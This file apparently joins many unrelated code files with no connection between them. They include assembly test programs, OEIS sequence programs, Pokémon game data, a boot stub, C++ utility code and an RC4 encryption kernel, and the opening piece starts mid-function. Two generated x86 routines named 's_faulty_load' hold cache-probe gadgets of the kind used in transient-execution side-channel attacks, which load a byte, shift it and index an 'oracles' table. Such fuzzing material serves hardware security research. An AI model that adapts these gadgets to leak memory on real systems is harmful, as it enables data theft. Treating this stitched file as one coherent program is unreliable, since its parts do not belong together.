%rsi lea addresses_A_ht+0x189c8, %rdi nop nop nop nop xor $12295, %rbp mov $82, %rcx rep movsl nop nop nop sub %rcx, %rcx lea addresses_A_ht+0x18f28, %rsi lea addresses_WT_ht+0x1a2e8, %rdi nop cmp %r13, %r13 mov $32, %rcx rep movsq xor $28800, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rbp push %rbx push %rdx // Store lea addresses_UC+0x1d7e8, %rdx nop nop nop inc %r9 mov $0x5152535455565758, %rbp movq %rbp, (%rdx) nop nop nop nop nop inc %rdx // Store lea addresses_US+0x6728, %r10 nop nop nop and $33281, %rdx movl $0x51525354, (%r10) nop nop nop nop nop add %r9, %r9 // Store lea addresses_WT+0x17d68, %r10 nop nop nop nop add $32336, %r14 mov $0x5152535455565758, %rbp movq %rbp, %xmm1 movups %xmm1, (%r10) nop add $45444, %rbx // Store mov $0x1313510000000848, %rbp nop nop and $20296, %rdx movl $0x51525354, (%rbp) nop nop nop nop inc %r10 // Store lea addresses_A+0x14028, %r9 cmp %r10, %r10 movw $0x5152, (%r9) nop nop nop and %r9, %r9 // Faulty Load mov $0x218b3000000008e8, %rdx nop nop nop inc %rbx vmovntdqa (%rdx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r14 lea oracles, %rbx and $0xff, %r14 shlq $12, %r14 mov (%rbx,%r14,1), %r14 pop %rdx pop %rbx pop %rbp pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 6}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 9}} {'44': 2127, '45': 9204, '00': 1715} 00 00 00 45 45 45 45 45 45 45 00 45 44 45 00 45 45 44 00 45 45 44 45 00 45 00 45 45 00 45 45 45 44 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 44 45 00 44 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 00 45 45 45 00 45 45 44 45 45 45 00 45 44 00 44 45 45 00 45 00 44 00 45 45 44 45 45 45 45 44 45 44 45 45 44 45 44 45 00 45 45 44 45 44 00 45 45 45 44 45 45 45 44 45 45 45 44 45 44 45 44 45 45 45 44 45 45 45 45 45 45 45 45 45 44 44 44 45 45 45 44 45 00 44 45 45 45 45 45 45 00 45 00 44 45 45 00 00 44 45 45 00 45 00 45 45 44 45 00 45 45 45 45 45 45 00 45 00 44 45 44 00 45 00 45 45 45 45 45 44 45 45 00 44 45 45 45 45 00 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 44 45 45 45 44 45 45 45 45 45 45 45 44 45 45 00 45 45 44 45 44 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 44 44 44 45 45 44 45 00 45 45 45 44 45 45 45 45 44 00 45 45 44 45 44 00 45 45 45 45 00 45 45 45 45 00 45 45 45 00 45 45 45 45 45 45 45 44 44 45 45 00 45 45 00 00 45 45 45 45 45 00 45 44 45 45 45 45 45 00 45 45 45 45 45 45 45 00 45 44 45 45 00 45 45 00 45 45 45 00 45 45 45 45 45 44 00 45 44 45 45 44 45 44 00 45 00 45 45 45 45 45 45 45 45 45 45 00 45 44 45 45 45 45 44 45 45 45 45 45 45 44 44 45 45 44 45 45 00 45 45 44 45 45 00 45 45 45 45 45 44 45 45 00 44 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 00 45 45 45 45 45 00 45 45 45 45 45 45 45 45 44 45 45 44 00 45 44 44 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 00 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 44 45 44 00 45 45 00 45 45 00 45 45 45 44 45 44 45 45 45 45 44 45 00 45 45 00 44 44 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 44 45 44 00 44 45 00 45 44 45 45 44 45 45 00 45 45 45 45 45 45 45 45 45 45 44 45 45 45 44 45 45 45 45 45 00 45 45 45 45 45 00 45 45 45 00 45 45 44 45 45 45 45 45 45 44 00 45 45 45 44 45 45 45 00 45 45 45 45 45 45 45 00 45 45 45 45 45 45 44 45 00 45 45 45 45 00 44 45 45 00 45 45 45 45 45 45 45 00 45 45 45 44 45 45 45 45 44 45 45 45 44 00 45 45 45 44 00 00 44 44 45 00 00 00 45 45 45 45 45 44 45 44 00 45 00 44 45 45 44 44 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 44 45 00 44 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 44 45 45 45 45 45 45 45 44 45 00 45 44 45 45 45 45 45 45 45 45 00 44 45 45 45 45 45 45 45 45 45 44 00 00 45 45 45 00 45 45 45 44 44 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 44 45 44 44 45 45 45 45 45 45 45 45 45 45 45 44 45 45 00 45 45 45 45 44 45 44 44 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 45 00 45 45 45 45 00 45 45 45 44 45 45 45 45 44 45 00 45 45 45 45 45 45 45 45 45 45 44 45 45 44 45 00 45 00 45 44 00 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 00 00 45 45 45 45 00 00 45 45 45 00 45 00 45 45 44 45 45 45 45 45 45 45 45 44 45 45 44 45 00 45 00 45 45 45 45 45 45 00 45 45 45 45 */
ori $2,$0,0x1234 addu $1,$2,$0 beq $1,$2,exit1 ori $3,$0,0x1342 ori $3,$0,0x928e exit1: addu $4,$3,$0 beq $3,$4,exit2 ori $5,$0,0x1e42 ori $5,$0,0xff8e exit2: addu $6,$5,$0 nop beq $6,$5,exit3 ori $7,$0,0x1e54 ori $7,$0,0xfcae exit3: addu $8,$7,$0 nop beq $7,$8,exit4 ori $9,$0,0x2354 ori $9,$0,0xf22e exit4: addu $10,$9,$0 nop nop beq $9,$10,exit5 ori $11,$0,0x2354 ori $11,$0,0xf22e exit5: addu $12,$11,$0 nop nop beq $12,$11,exit6 ori $13,$0,0x2345 ori $13,$0,0xf277 exit6:
; A326933: Number of nonconstant irreducible polynomial divisors of the n-th polynomial given in A326926. ; Submitted by Christian Krause ; 0,1,2,2,1,5,1,3,4,3,1,8,1,3,5,4,1,9,1,5,5,3,1,11,2,3,6,5,1,11,1,5,5,3,3,14,1,3,5,7,1,11,1,5,9,3,1,14,2,5,5,5,1,13,3,7,5,3,1,17,1,3,9,6,3,11,1,5,5,7,1,19,1,3,8,5,3,11,1,9,8,3,1 add $0,1 mov $2,$0 lpb $0 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 lpb $3 add $1,2 mul $3,$0 mod $3,3 lpe sub $0,1 add $1,$3 lpe mov $0,$1
IndigoPlateau_h: db PLATEAU ; tileset db INDIGO_PLATEAU_HEIGHT, INDIGO_PLATEAU_WIDTH ; dimensions (y, x) dw IndigoPlateau_Blocks ; blocks dw IndigoPlateau_TextPointers ; texts dw IndigoPlateau_Script ; scripts db SOUTH ; connections SOUTH_MAP_CONNECTION INDIGO_PLATEAU, ROUTE_23, 0, 0, Route23_Blocks dw IndigoPlateau_Object ; objects
; ******************************************************************************************** ; ******************************************************************************************** ; ; Name : sprcor.asm ; Purpose : .. ; Created : 15th Nov 1991 ; Updated : 4th Jan 2021 ; Authors : Fred Bowen ; ; ******************************************************************************************** ; ******************************************************************************************** ; SPRCOR -- Get sprite position coordinate ; sprcor jsr chkcom_1 ; check for a comma sprcor_1 ror numcnt ; reset msb if comma else set msb bpl l292_1 ; skip if got a comma cmp #';' ; test if angular data beq l292_3 ; skip if yes - 2 msb's = 1 1 cmp #'#' ; test if speed type beq l292_2 ; skip if yes - 2 msb's = 0 1 +lbra snerr ; syntax error if none of above l292_1 jsr chrgot ; test for relative coordinate cmp #plus_token ; test if plus sign beq l292_3 ; skip if yes - show relative cmp #minus_token ; test if minus sign beq l292_3 ; skip if yes - show relative l292_2 clc ; reset to show absolute l292_3 ror numcnt ; shift in second flag bit sadwrd jsr frmnum ; get number label [910307] +lbra getsad ; get signed 2 byte coordinate,do rts ;************************************************************* ; CHKCOM_1 -- Check for a comma ; ; carry set & eq = end of string ; carry set & neq = not a comma ; carry clear = a comma ;************************************************************* chkcom_1 jsr chrgot ; get character in input stream beq l293_2 ; skip if end of string cmp #',' ; check if a comma clc beq l293_1 ; skip if yes sec ; set carry if not l293_1 php pha jsr chrget ; move to next non-space character pla plp l293_2 rts sproff !text 0,11,22,33,44,55,66,77 ; sprite offsets into speed table ;.end ; ******************************************************************************************** ; ; Date Changes ; ==== ======= ; ; ********************************************************************************************
; A044387: Numbers n such that string 5,5 occurs in the base 10 representation of n but not of n-1. ; 55,155,255,355,455,550,655,755,855,955,1055,1155,1255,1355,1455,1550,1655,1755,1855,1955,2055,2155,2255,2355,2455,2550,2655,2755,2855,2955,3055,3155,3255,3355,3455,3550,3655,3755,3855 mov $3,$0 add $0,5 mov $1,6 mov $5,$0 gcd $0,4 lpb $0 mov $0,8 seq $4,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). mov $1,$4 gcd $5,5 div $0,$5 lpe add $1,49 mov $2,$3 mul $2,100 add $1,$2 mov $0,$1
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r8 push %rax push %rbp push %rbx push %rsi // Store lea addresses_A+0x1d511, %r14 nop nop nop nop nop and %rbp, %rbp movw $0x5152, (%r14) nop nop nop nop cmp $46706, %r14 // Store lea addresses_A+0x1ed11, %r14 nop nop inc %r8 mov $0x5152535455565758, %rbp movq %rbp, (%r14) and $51737, %rbx // Store lea addresses_A+0x1d511, %rbp nop nop nop nop dec %rsi movl $0x51525354, (%rbp) nop nop nop and $17957, %rbp // Load mov $0x575, %r14 nop inc %r11 movups (%r14), %xmm5 vpextrq $1, %xmm5, %rax nop nop nop nop nop and $39157, %r14 // Faulty Load lea addresses_A+0x1d511, %rsi nop nop nop nop add $64706, %r14 mov (%rsi), %rax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rsi pop %rbx pop %rbp pop %rax pop %r8 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: titleMessages.asm AUTHOR: Chris Boyke METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/ 3/92 Initial version. DESCRIPTION: $Id: titleMessages.asm,v 1.1 97/04/04 17:47:20 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; A031911: a(n) = prime(7*n - 6). ; 2,19,47,79,109,151,191,229,269,311,353,397,439,479,523,577,617,659,709,757,811,857,907,953,1009,1049,1093,1151,1201,1249,1297,1361,1427,1459,1499,1559,1607,1657,1709,1759,1823,1877,1933,1997,2039,2089,2141,2213,2269,2311,2371,2411,2467,2543,2609,2663,2699,2741,2797,2851,2909,2969,3037,3089,3169,3221,3299,3331,3389,3461,3517,3557,3613,3671,3719,3779,3847,3907,3943,4013,4073,4129,4201,4243,4289,4363,4441,4493,4549,4621,4663,4729,4793,4871,4933,4973,5021,5087,5153,5227 mul $0,7 seq $0,40 ; The prime numbers.
global start extern long_mode_start section .bss align 4096 p4_table: resb 4096 p3_table: resb 4096 p2_table: resb 4096 stack_bottom: resb 64 stack_top: section .rodata gdt64: dq 0 ; zero entry .code: equ $ - gdt64 dq (1<<43) | (1<<44) | (1<<47) | (1<<53) ; code segment .pointer: dw $ - gdt64 - 1 dq gdt64 section .text bits 32 start: mov esp, stack_top call check_multiboot call check_cpuid call check_long_mode call set_up_page_tables call enable_paging ; load the 64-bit GDT lgdt [gdt64.pointer] jmp gdt64.code:long_mode_start check_multiboot: cmp eax, 0x36d76289 jne .no_multiboot ret .no_multiboot: mov al, "0" jmp error check_cpuid: ; Check if CPUID is supported by attempting to flip the ID bit (bit 21) ; in the FLAGS register. If we can flip it, CPUID is available. ; Copy FLAGS in to EAX via stack pushfd pop eax ; Copy to ECX as well for comparing later on mov ecx, eax ; Flip the ID bit xor eax, 1 << 21 ; Copy EAX to FLAGS via the stack push eax popfd ; Copy FLAGS back to EAX (with the flipped bit if CPUID is supported) pushfd pop eax ; Restore FLAGS from the old version stored in ECX (i.e. flipping the ; ID bit back if it was ever flipped). push ecx popfd ; Compare EAX and ECX. If they are equal then that means the bit ; wasn't flipped, and CPUID isn't supported. cmp eax, ecx je .no_cpuid ret .no_cpuid: mov al, "1" jmp error check_long_mode: ; test if extended processor info in available mov eax, 0x80000000 ; implicit argument for cpuid cpuid ; get highest supported argument cmp eax, 0x80000001 ; it needs to be at least 0x80000001 jb .no_long_mode ; if it's less, the CPU is too old for long mode ; use extended info to test if long mode is available mov eax, 0x80000001 ; argument for extended processor info cpuid ; returns various feature bits in ecx and edx test edx, 1 << 29 ; test if the LM-bit is set in the D-register jz .no_long_mode ; If it's not set, there is no long mode ret .no_long_mode: mov al, "2" jmp error set_up_page_tables: ; map first P4 entry to P3 table mov eax, p3_table or eax, 0b11 ; present + writable mov [p4_table], eax ; map first P3 entry to P2 table mov eax, p2_table or eax, 0b11 ; present + writable mov [p3_table], eax ; map each P2 entry to a huge 2MiB page mov ecx, 0 ; counter variable .map_p2_table: ; map ecx-th P2 entry to a huge page that starts at address 2MiB*ecx mov eax, 0x200000 ; 2MiB mul ecx ; start address of ecx-th page or eax, 0b10000011 ; present + writable + huge mov [p2_table + ecx * 8], eax ; map ecx-th entry inc ecx ; increase counter cmp ecx, 512 ; if counter == 512, the whole P2 table is mapped jne .map_p2_table ; else map the next entry ret enable_paging: ; load P4 to cr3 register (cpu uses this to access the P4 table) mov eax, p4_table mov cr3, eax ; enable PAE-flag in cr4 (Physical Address Extension) mov eax, cr4 or eax, 1 << 5 mov cr4, eax ; set the long mode bit in the EFER MSR (model specific register) mov ecx, 0xC0000080 rdmsr or eax, 1 << 8 wrmsr ; enable paging in the cr0 register mov eax, cr0 or eax, 1 << 31 mov cr0, eax ret ; Prints `ERR: ` and the given error code to screen and hangs. ; parameter: error code (in ascii) in al error: mov dword [0xb8000], 0x4f524f45 mov dword [0xb8004], 0x4f3a4f52 mov dword [0xb8008], 0x4f204f20 mov byte [0xb800a], al hlt
; double __FASTCALL__ asinh(double x) SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sccz80_asinh EXTERN am48_asinh defc cm48_sccz80_asinh = am48_asinh
/* This file forms part of hpGEM. This package has been developed over a number of years by various people at the University of Twente and a full list of contributors can be found at http://hpgem.org/about-the-code/team This code is distributed using BSD 3-Clause License. A copy of which can found below. Copyright (c) 2014, University of Twente All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "GlobalUniqueIndex.h" namespace hpgem { Base::GlobalUniqueIndex &Base::GlobalUniqueIndex::instance() { static GlobalUniqueIndex theInstance; return theInstance; } std::size_t Base::GlobalUniqueIndex::getElementIndex() { return elementIndex_++; } std::size_t Base::GlobalUniqueIndex::getFaceIndex() { return faceIndex_++; } std::size_t Base::GlobalUniqueIndex::getEdgeIndex() { return edgeIndex_++; } std::size_t Base::GlobalUniqueIndex::getNodeIndex() { return nodeIndex_++; } } // namespace hpgem
; A228484: a(n) = 2^n*(3*n)!/(n!*(2*n)!). ; 1,6,60,672,7920,96096,1188096,14883840,188280576,2399654400,30766095360,396363202560,5126871859200,66538909237248,866061993246720,11300615801536512,147773778404769792,1936073567335219200,25408660721789829120,333963051307735449600,4395467544519502725120,57922154192936443576320,764131590198569572761600,10090966738970095575367680,133383257161386635663769600,1764578829026474953115959296,23362704315526994175643877376,309543587576793717379600220160,4104065565677255923023816425472 mov $1,$0 mul $1,3 bin $1,$0 mov $2,2 pow $2,$0 mul $1,$2 mov $0,$1
db 0 ; species ID placeholder db 75, 80, 85, 50, 100, 90 ; hp atk def spd sat sdf db GRASS, POISON ; type db 45 ; catch rate db 184 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/vileplume/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_PLANT, EGG_PLANT ; egg groups ; tm/hm learnset tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, HYPER_BEAM, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, REST, ATTRACT, UPROOT, BRIGHT_MOSS ; end
################################################################################ # Address: 0x801d4610 ################################################################################ b 0x4C
;=============================================================================== ; Copyright 2014-2019 Intel Corporation ; All Rights Reserved. ; ; If this software was obtained under the Intel Simplified Software License, ; the following terms apply: ; ; The source code, information and material ("Material") contained herein is ; owned by Intel Corporation or its suppliers or licensors, and title to such ; Material remains with Intel Corporation or its suppliers or licensors. The ; Material contains proprietary information of Intel or its suppliers and ; licensors. The Material is protected by worldwide copyright laws and treaty ; provisions. No part of the Material may be used, copied, reproduced, ; modified, published, uploaded, posted, transmitted, distributed or disclosed ; in any way without Intel's prior express written permission. No license under ; any patent, copyright or other intellectual property rights in the Material ; is granted to or conferred upon you, either expressly, by implication, ; inducement, estoppel or otherwise. Any license under such intellectual ; property rights must be express and approved by Intel in writing. ; ; Unless otherwise agreed by Intel in writing, you may not remove or alter this ; notice or any other notice embedded in Materials by Intel or Intel's ; suppliers or licensors in any way. ; ; ; If this software was obtained under the Apache License, Version 2.0 (the ; "License"), the following terms apply: ; ; You may not use this file except in compliance with the License. You may ; obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 ; ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; ARCFour ; ; Content: ; ARCFourKernel() ; ; .686P .XMM .MODEL FLAT,C INCLUDE asmdefs.inc include ia_emm.inc IF (_IPP GE _IPP_M5) AND (_IPP LT _IPP_V8) IPPCODE SEGMENT 'CODE' ALIGN (IPP_ALIGN_FACTOR) ;*************************************************************** ;* Purpose: RC4 kernel ;* ;* void ARCFourProcessData(const Ipp8u *pSrc, Ipp8u *pDst, int len, ;* IppsARCFourState* pCtx) ;* ;*************************************************************** ;; ;; Lib = W7 ;; ;; Caller = ippsARCFourEncrypt ;; Caller = ippsARCFourDecrypt ;; IPPASM ARCFourProcessData PROC NEAR C PUBLIC \ USES esi edi ebx ebp,\ pSrc: PTR BYTE,\ pDst: PTR BYTE,\ len: DWORD,\ pCtx: PTR BYTE mov edx, len ; data length mov esi, pSrc ; source data mov edi, pDst ; target data mov ebp, pCtx ; context test edx, edx ; test length jz quit xor eax, eax movzx eax, byte ptr[ebp+4] ; extract x xor ebx, ebx movzx ebx, byte ptr[ebp+8] ; extract y lea ebp, [ebp+12] ; sbox inc al ; x = (x+1)&0xFF movzx ecx, byte ptr [ebp+eax] ; tx = S[x] lea edx, [esi+edx] ; store stop data address push edx ;; ;; main code ;; ALIGN IPP_ALIGN_FACTOR main_loop: add bl,cl ; y = (x+tx)&0xFF movzx edx,byte ptr [ebx+ebp] ; ty = S[y] mov byte ptr [ebx+ebp],cl ; S[y] = tx mov byte ptr [eax+ebp],dl ; S[x] = ty add dl, cl ; tmp_idx = (tx+ty)&0xFF movzx edx,byte ptr [edx+ebp] ; byte of gamma add al,1 ; next x = (x+1)&0xFF xor dl,byte ptr [esi] ; gamma ^= src lea esi,[esi+1] movzx ecx,byte ptr [eax+ebp] ; next tx = S[x] cmp esi, dword ptr [esp] mov byte ptr [edi],dl ; store result lea edi,[edi+1] jb main_loop lea ebp, [ebp-12] ; pointer to context pop edx ; remove local variable dec eax ; actual new x counter mov byte ptr[ebp+4], al ; update x conter mov byte ptr[ebp+8], bl ; updtae y counter quit: ret IPPASM ARCFourProcessData ENDP ENDIF END
